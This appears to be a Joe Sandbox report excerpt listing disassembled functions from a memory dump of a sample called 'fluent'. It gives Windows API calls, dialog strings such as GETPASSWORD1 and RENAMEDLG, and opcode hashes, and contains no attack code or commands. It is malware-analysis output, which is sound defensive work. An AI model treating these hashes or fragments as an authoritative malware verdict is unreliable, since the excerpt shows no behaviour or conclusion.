_wcschr.LIBVCRUNTIME ref: 006FCD84

Part of subcall function 006FAF98: _wcschr.LIBVCRUNTIME ref: 006FB033

Strings

<, xrefs: 006FCD68
MIN, xrefs: 006FCDF5
MAX, xrefs: 006FCDD9
HIDE, xrefs: 006FCDC6

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2691759472-3358265660
Opcode ID: a3b7c51c9b36c4c77fd5e0b4b26ef34fc7724c27cd2953bad57eacfe0bd9875c
Instruction ID: bb9ed914ec9ab62355b9b85aa25112d64bdf923cae44a2e1da7ddfa2ba870a49
Opcode Fuzzy Hash: a3b7c51c9b36c4c77fd5e0b4b26ef34fc7724c27cd2953bad57eacfe0bd9875c
Instruction Fuzzy Hash: 2231747290021D9ADF25DB54CD45EFE73BEEB15360F404166E605E7180EBB49E84CFA1

Function 006FB270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 006E1316: GetDlgItem.USER32(00000000,00003021), ref: 006E135A
Part of subcall function 006E1316: SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

EndDialog.USER32(?,00000001), ref: 006FB2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 006FB2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 006FB304

Strings

xzs, xrefs: 006FB2E2
GETPASSWORD1, xrefs: 006FB289

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xzs
API String ID: 445417207-3673613181
Opcode ID: 49e851ef0df23843381898b06b6e58e53f3ebed85e83c79489f708dfe9407bde
Instruction ID: 6f88a6cb86fbc5887d9f39318f3cb3209d05e27f38a07dad044d3abf8bddc596
Opcode Fuzzy Hash: 49e851ef0df23843381898b06b6e58e53f3ebed85e83c79489f708dfe9407bde
Instruction Fuzzy Hash: 6F11E133A4021CB6DB229AA4DC49FFE376EEB5A740F104021FB45B61D0C7A49A4597A5

Function 006EB991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 006EB9B8

Part of subcall function 006E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006E40A5

_wcschr.LIBVCRUNTIME ref: 006EB9D6
_wcschr.LIBVCRUNTIME ref: 006EB9E6

Strings

%c:\, xrefs: 006EB9AE

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: 09fc4a5988af54c9a301c64bd53d89c51602fa686130b6aa340fda55334047bd
Instruction ID: 5c8f0ba7f052e6914d4d26305fddb07b56ee41b7e131deff5ad53299d9425a0f
Opcode Fuzzy Hash: 09fc4a5988af54c9a301c64bd53d89c51602fa686130b6aa340fda55334047bd
Instruction Fuzzy Hash: 320185A3101341A9DA306B3A8C4ACABA3ECEE82370B54451EF140D21C2EB24D80483B0

Function 006FB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 006FB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 006FB712
DeleteObject.GDI32(00000000), ref: 006FB744
DeleteObject.GDI32(00000000), ref: 006FB767

Part of subcall function 006FA6C2: GlobalAlloc.KERNELBASE(00000002,00000000), ref: 006FA72D

Strings

], xrefs: 006FB71A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Object$Delete$AllocBitmapGlobalLoad
String ID: ]
API String ID: 399692894-3352871620
Opcode ID: 5a22e1e460e38a8559fbb3a8c8e67fb983e3d4e810916f83298c6d88de20ae7c
Instruction ID: 08ca22fda2bec25054dabc00a9af3a1ed7138dc013fa861d9003ed7774738a7c
Opcode Fuzzy Hash: 5a22e1e460e38a8559fbb3a8c8e67fb983e3d4e810916f83298c6d88de20ae7c
Instruction Fuzzy Hash: 34012676500119A7C71277B48C09ABF7ABBAFC1752F190016FB08A73A1DF658D054365

Function 006FD600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 006E1316: GetDlgItem.USER32(00000000,00003021), ref: 006E135A
Part of subcall function 006E1316: SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

EndDialog.USER32(?,00000001), ref: 006FD64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 006FD661
SetDlgItemTextW.USER32(?,00000066,?), ref: 006FD675
SetDlgItemTextW.USER32(?,00000068), ref: 006FD684

Strings

RENAMEDLG, xrefs: 006FD618

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: d087e0da9a96bbcffa9d91e653e1f517c15e6712a8a08efbec463275264897c9
Instruction ID: f85f9b0a083e22f58237ec0719c4ed2fb77e80449a0b2cd48d1214b246450918
Opcode Fuzzy Hash: d087e0da9a96bbcffa9d91e653e1f517c15e6712a8a08efbec463275264897c9
Instruction Fuzzy Hash: AA01F533685218BAE2104F689D09FBA775FAB9BB02F114111F305E61D0C7A6A9058779

Function 006F15FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 006F17BC
_swprintf.LIBCMT ref: 006F186B

Strings

%s: %s, xrefs: 006F17CB
%ls, xrefs: 006F1641, 006F1657

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: f8b4c51419c7bdf1b71873219d6b7e278fe317151e15b6920b925eb88dc0aa83
Instruction ID: 197847dae7db2778891f948c0fd89e2b7ad59578a40c786a690e8e6094933f5d
Opcode Fuzzy Hash: f8b4c51419c7bdf1b71873219d6b7e278fe317151e15b6920b925eb88dc0aa83
Instruction Fuzzy Hash: 4751EC3524830CF6E72126948E46F757667AB07BC4F24450BF39ABC4D1C9A3A412BB1E

Function 006EBB03 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006EBB27
_wcslen.LIBCMT ref: 006EBC3B

Strings

\\?\, xrefs: 006EBB52, 006EBB99, 006EBBF7, 006EBC4E
UNC, xrefs: 006EBBA7

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: _wcslen
String ID: UNC$\\?\
API String ID: 176396367-253988292
Opcode ID: f03f0c77b71c236cd41724aef616978f0af31d82f44a2b892f834a2ece430032
Instruction ID: 2b6660f01da6a54bf07728f9e5d4b372371d1a1fb7594d40a3304254ec024d7e
Opcode Fuzzy Hash: f03f0c77b71c236cd41724aef616978f0af31d82f44a2b892f834a2ece430032
Instruction Fuzzy Hash: 5A41F431405399A6DF21AF62CC01EEB77BBAF40784F20516AF954B3251DBB0EE90CB64

Function 006FAD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 006E1316: GetDlgItem.USER32(00000000,00003021), ref: 006E135A
Part of subcall function 006E1316: SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

EndDialog.USER32(?,00000001), ref: 006FAD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 006FADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 006FADC2

Strings

ASKNEXTVOL, xrefs: 006FAD28

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 03d1b3667e06820a22e7d9985fc78014f3938593e10efc4c12d0c6f89276b8ef
Instruction ID: bc80191d09b380a770d9f9b8dfd513171f69be9cafde23eb2b34b60c1bdf573e
Opcode Fuzzy Hash: 03d1b3667e06820a22e7d9985fc78014f3938593e10efc4c12d0c6f89276b8ef
Instruction Fuzzy Hash: E911D372280204AFD311DFE8EC45FBA376BEF4B742F404105F348DB6A0C766A945972A

Function 006FDDA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010472,006FB270,?,?), ref: 006FDE18

Strings

ro, xrefs: 006FDDDC
xzs, xrefs: 006FDE28
GETPASSWORD1, xrefs: 006FDE0D

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$ro$xzs
API String ID: 665744214-1739746966
Opcode ID: ee5da926346dd2b725e36f0221e851cc59463fce1875f031f6d01546e5cd5620
Instruction ID: f927379d64775b9354c8f1bb4e40c2f89093390f60754e238fb58c3076cbeaad
Opcode Fuzzy Hash: ee5da926346dd2b725e36f0221e851cc59463fce1875f031f6d01546e5cd5620
Instruction Fuzzy Hash: F7110F72600298ABDB22EF349C02BFF3797AB16750F148075BE45AB191C7B8AD45C764

Function 006E124F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 006E125D

Strings

A, xrefs: 006E1285
(o, xrefs: 006E12A3
2o, xrefs: 006E1292

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: Malloc
String ID: (o$2o$A
API String ID: 2696272793-2202854021
Opcode ID: aec26e9d6da519742c0684f5aea6b7e45d913160ac0da238e5b7e400e637f17d
Instruction ID: 70a141994dc68e988b074dc034fe90bf03bb639b61cb2d91541a488d93664f24
Opcode Fuzzy Hash: aec26e9d6da519742c0684f5aea6b7e45d913160ac0da238e5b7e400e637f17d
Instruction Fuzzy Hash: 00010975901219AFCB14DFA5D8449DEBBF9EF0A300B10815AE90AE7250D774DA40DBA4

Function 006FDCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 006FDD31
REPLACEFILEDLG, xrefs: 006FDD1C, 006FDD50

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: f4a9a849cc909783d18fbe17097015c04e78c2658c751004b0236efdbcc7cd9a
Instruction ID: e33eda178b764db52977216c55bfcc0379573eefedd2e00425607b51a99d0028
Opcode Fuzzy Hash: f4a9a849cc909783d18fbe17097015c04e78c2658c751004b0236efdbcc7cd9a
Instruction Fuzzy Hash: 5A01B57650428DAFD7206F54FC44AAA3BABFB59354B008025FA05C3270C739A851DBA5

Function 006E1316 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 006EE2E8: _swprintf.LIBCMT ref: 006EE30E
Part of subcall function 006EE2E8: _strlen.LIBCMT ref: 006EE32F
Part of subcall function 006EE2E8: SetDlgItemTextW.USER32(?,0071E274,?), ref: 006EE38F
Part of subcall function 006EE2E8: GetWindowRect.USER32(?,?), ref: 006EE3C9
Part of subcall function 006EE2E8: GetClientRect.USER32(?,?), ref: 006EE3D5

GetDlgItem.USER32(00000000,00003021), ref: 006E135A
SetWindowTextW.USER32(00000000,007135F4), ref: 006E1370

Strings

0, xrefs: 006E1319
o, xrefs: 006E134A

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: o$0
API String ID: 2622349952-926645746
Opcode ID: 7a9b1fbb3026e4d7897e73b1505288688bafac5fcaa4883cc0929093aa4e8014
Instruction ID: 9f569b297f28504d4281bbb1bb4eca92f852d0bbc6eb1e862024cf84ad03fcf1
Opcode Fuzzy Hash: 7a9b1fbb3026e4d7897e73b1505288688bafac5fcaa4883cc0929093aa4e8014
Instruction Fuzzy Hash: 5EF0A4701053CCABDF150F668C0DBEA3B5AAF02344F048215FD48986E1CB79CA90FA14

Function 00709A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00709AA9
__alldvrm.LIBCMT ref: 00709CAA
__alldvrm.LIBCMT ref: 00709CCC

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: c803940a96e8b67475163e387c60c5f32fb34a280bd85405c8aa5187c117c1c8
Instruction ID: 0b4358d8c0dd72b2c7aa4527af0ce0f7f4f46280705e03dd96cd63495ff7ff7e
Opcode Fuzzy Hash: c803940a96e8b67475163e387c60c5f32fb34a280bd85405c8aa5187c117c1c8
Instruction Fuzzy Hash: C8A10672E04286DFEB21CF28C8917AEBBE5EF55310F18466DE6859B2C3D63D8941C760

Function 00702BDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00702CA1
___AdjustPointer.LIBCMT ref: 00702CC4
___AdjustPointer.LIBCMT ref: 00702D60

Memory Dump Source

Source File: 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1695939156.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000071E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695996164.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696142620.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000757000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.0000000000898000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.000000000089D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1696159770.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_fluent.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
